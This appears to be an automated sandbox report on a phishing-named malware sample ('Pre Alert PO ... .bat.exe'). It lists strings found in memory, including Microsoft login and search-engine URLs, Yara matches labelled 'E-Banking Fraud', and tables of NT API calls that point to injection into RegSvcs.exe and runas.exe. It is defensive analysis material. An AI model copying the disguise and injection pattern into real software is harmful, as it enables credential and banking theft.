Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: runas.exe, 00000012.00000002.2943817151.000000000537A000.00000004.10000000.00040000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.00000000036EA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.thinkphp.cn
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: Pre Alert PO TVKJEANSA00967.bat.exe, 00000000.00000002.1812896356.0000000007232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: runas.exe, 00000012.00000002.2941572830.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: runas.exe, 00000012.00000002.2941572830.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: runas.exe, 00000012.00000002.2941572830.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: runas.exe, 00000012.00000002.2941572830.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033-f
Source: runas.exe, 00000012.00000002.2941572830.000000000059C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: runas.exe, 00000012.00000002.2941572830.0000000000581000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: runas.exe, 00000012.00000003.2247650450.0000000007486000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: Pre Alert PO TVKJEANSA00967.bat.exe, STiokuWkiGFJ.exe.0.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: runas.exe, 00000012.00000002.2943817151.00000000051E8000.00000004.10000000.00040000.00000000.sdmp, runas.exe, 00000012.00000002.2945609383.0000000007200000.00000004.00000800.00020000.00000000.sdmp, nhClcdOjQwJ.exe, 00000013.00000002.2943382450.0000000003558000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: runas.exe, 00000012.00000003.2260056368.00000000074AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

E-Banking Fraud

Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.2069017164.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942858170.0000000002910000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2942772610.00000000028C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2941481710.00000000004F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2944930407.0000000005280000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2082286321.0000000003CF0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2943135814.0000000002270000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2070855400.00000000018F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0042CCB3 NtClose,	8_2_0042CCB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2B60 NtClose,LdrInitializeThunk,	8_2_015D2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_015D2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_015D2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D35C0 NtCreateMutant,LdrInitializeThunk,	8_2_015D35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D4340 NtSetContextThread,	8_2_015D4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D4650 NtSuspendThread,	8_2_015D4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2BF0 NtAllocateVirtualMemory,	8_2_015D2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2BE0 NtQueryValueKey,	8_2_015D2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2B80 NtQueryInformationFile,	8_2_015D2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2BA0 NtEnumerateValueKey,	8_2_015D2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2AD0 NtReadFile,	8_2_015D2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2AF0 NtWriteFile,	8_2_015D2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2AB0 NtWaitForSingleObject,	8_2_015D2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2D10 NtMapViewOfSection,	8_2_015D2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2D00 NtSetInformationFile,	8_2_015D2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2D30 NtUnmapViewOfSection,	8_2_015D2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2DD0 NtDelayExecution,	8_2_015D2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2DB0 NtEnumerateKey,	8_2_015D2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2C60 NtCreateKey,	8_2_015D2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2C00 NtQueryInformationProcess,	8_2_015D2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2CC0 NtQueryVirtualMemory,	8_2_015D2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2CF0 NtOpenProcess,	8_2_015D2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2CA0 NtQueryInformationToken,	8_2_015D2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2F60 NtCreateProcessEx,	8_2_015D2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2F30 NtCreateSection,	8_2_015D2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2FE0 NtCreateFile,	8_2_015D2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2F90 NtProtectVirtualMemory,	8_2_015D2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2FB0 NtResumeThread,	8_2_015D2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2FA0 NtQuerySection,	8_2_015D2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2E30 NtWriteVirtualMemory,	8_2_015D2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2EE0 NtQueueApcThread,	8_2_015D2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2E80 NtReadVirtualMemory,	8_2_015D2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D2EA0 NtAdjustPrivilegesToken,	8_2_015D2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D3010 NtOpenDirectoryObject,	8_2_015D3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D3090 NtSetValueKey,	8_2_015D3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D39B0 NtGetContextThread,	8_2_015D39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D3D70 NtOpenThread,	8_2_015D3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D3D10 NtOpenProcessToken,	8_2_015D3D10
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04524650 NtSuspendThread,LdrInitializeThunk,	18_2_04524650
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04524340 NtSetContextThread,LdrInitializeThunk,	18_2_04524340
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522C70 NtFreeVirtualMemory,LdrInitializeThunk,	18_2_04522C70
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522C60 NtCreateKey,LdrInitializeThunk,	18_2_04522C60
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522CA0 NtQueryInformationToken,LdrInitializeThunk,	18_2_04522CA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522D10 NtMapViewOfSection,LdrInitializeThunk,	18_2_04522D10
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522D30 NtUnmapViewOfSection,LdrInitializeThunk,	18_2_04522D30
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522DD0 NtDelayExecution,LdrInitializeThunk,	18_2_04522DD0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522DF0 NtQuerySystemInformation,LdrInitializeThunk,	18_2_04522DF0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522EE0 NtQueueApcThread,LdrInitializeThunk,	18_2_04522EE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522E80 NtReadVirtualMemory,LdrInitializeThunk,	18_2_04522E80
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522F30 NtCreateSection,LdrInitializeThunk,	18_2_04522F30
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522FE0 NtCreateFile,LdrInitializeThunk,	18_2_04522FE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522FB0 NtResumeThread,LdrInitializeThunk,	18_2_04522FB0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522AD0 NtReadFile,LdrInitializeThunk,	18_2_04522AD0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522AF0 NtWriteFile,LdrInitializeThunk,	18_2_04522AF0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522B60 NtClose,LdrInitializeThunk,	18_2_04522B60
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	18_2_04522BF0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522BE0 NtQueryValueKey,LdrInitializeThunk,	18_2_04522BE0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522BA0 NtEnumerateValueKey,LdrInitializeThunk,	18_2_04522BA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045235C0 NtCreateMutant,LdrInitializeThunk,	18_2_045235C0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_045239B0 NtGetContextThread,LdrInitializeThunk,	18_2_045239B0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522C00 NtQueryInformationProcess,	18_2_04522C00
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522CC0 NtQueryVirtualMemory,	18_2_04522CC0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522CF0 NtOpenProcess,	18_2_04522CF0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522D00 NtSetInformationFile,	18_2_04522D00
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522DB0 NtEnumerateKey,	18_2_04522DB0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522E30 NtWriteVirtualMemory,	18_2_04522E30
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522EA0 NtAdjustPrivilegesToken,	18_2_04522EA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522F60 NtCreateProcessEx,	18_2_04522F60
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522F90 NtProtectVirtualMemory,	18_2_04522F90
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522FA0 NtQuerySection,	18_2_04522FA0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522AB0 NtWaitForSingleObject,	18_2_04522AB0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04522B80 NtQueryInformationFile,	18_2_04522B80
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04523010 NtOpenDirectoryObject,	18_2_04523010
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04523090 NtSetValueKey,	18_2_04523090
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04523D70 NtOpenThread,	18_2_04523D70
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_04523D10 NtOpenProcessToken,	18_2_04523D10
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_005194A0 NtCreateFile,	18_2_005194A0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00519610 NtReadFile,	18_2_00519610
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00519700 NtDeleteFile,	18_2_00519700
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_005197A0 NtClose,	18_2_005197A0
Source: C:\Windows\SysWOW64\runas.exe	Code function: 18_2_00519900 NtAllocateVirtualMemory,	18_2_00519900

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_077A1C78	0_2_077A1C78
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_077A0040	0_2_077A0040
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_077A1840	0_2_077A1840
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_01334218	0_2_01334218
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_01336F9F	0_2_01336F9F
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Code function: 0_2_0133D4A4	0_2_0133D4A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00418BC3	8_2_00418BC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004011F0	8_2_004011F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040298D	8_2_0040298D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402990	8_2_00402990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00403290	8_2_00403290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0042F2B3	8_2_0042F2B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004103E3	8_2_004103E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402440	8_2_00402440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040243C	8_2_0040243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00416D7C	8_2_00416D7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00416DC3	8_2_00416DC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004025D0	8_2_004025D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E5F3	8_2_0040E5F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402E7C	8_2_00402E7C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00410603	8_2_00410603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_00402E80	8_2_00402E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E743	8_2_0040E743
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0040E738	8_2_0040E738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01628158	8_2_01628158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590100	8_2_01590100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163A118	8_2_0163A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016581CC	8_2_016581CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016541A2	8_2_016541A2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016601AA	8_2_016601AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01632000	8_2_01632000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165A352	8_2_0165A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016603E6	8_2_016603E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AE3F0	8_2_015AE3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640274	8_2_01640274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016202C0	8_2_016202C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0535	8_2_015A0535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01660591	8_2_01660591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01652446	8_2_01652446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01644420	8_2_01644420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164E4F6	8_2_0164E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C4750	8_2_015C4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0770	8_2_015A0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159C7C0	8_2_0159C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BC6E0	8_2_015BC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B6962	8_2_015B6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0166A9A6	8_2_0166A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A29A0	8_2_015A29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A2840	8_2_015A2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AA840	8_2_015AA840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015CE8F0	8_2_015CE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015868B8	8_2_015868B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165AB40	8_2_0165AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01656BD7	8_2_01656BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159EA80	8_2_0159EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AAD00	8_2_015AAD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163CD1F	8_2_0163CD1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0159ADE0	8_2_0159ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B8DBF	8_2_015B8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0C00	8_2_015A0C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01590CF2	8_2_01590CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01640CB5	8_2_01640CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01614F40	8_2_01614F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01642F30	8_2_01642F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015C0F30	8_2_015C0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E2F28	8_2_015E2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01592FC8	8_2_01592FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0161EFA0	8_2_0161EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A0E59	8_2_015A0E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165EE26	8_2_0165EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165EEDB	8_2_0165EEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015B2E90	8_2_015B2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165CE93	8_2_0165CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0166B16B	8_2_0166B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158F172	8_2_0158F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015D516C	8_2_015D516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015AB1B0	8_2_015AB1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165F0E0	8_2_0165F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016570E9	8_2_016570E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A70C0	8_2_015A70C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0164F0CC	8_2_0164F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0158D34C	8_2_0158D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0165132D	8_2_0165132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015E739A	8_2_015E739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016412ED	8_2_016412ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BB2C0	8_2_015BB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015BD2F0	8_2_015BD2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_015A52A0	8_2_015A52A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_01657571	8_2_01657571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_016695C3	8_2_016695C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0163D5B0	8_2_0163D5B0
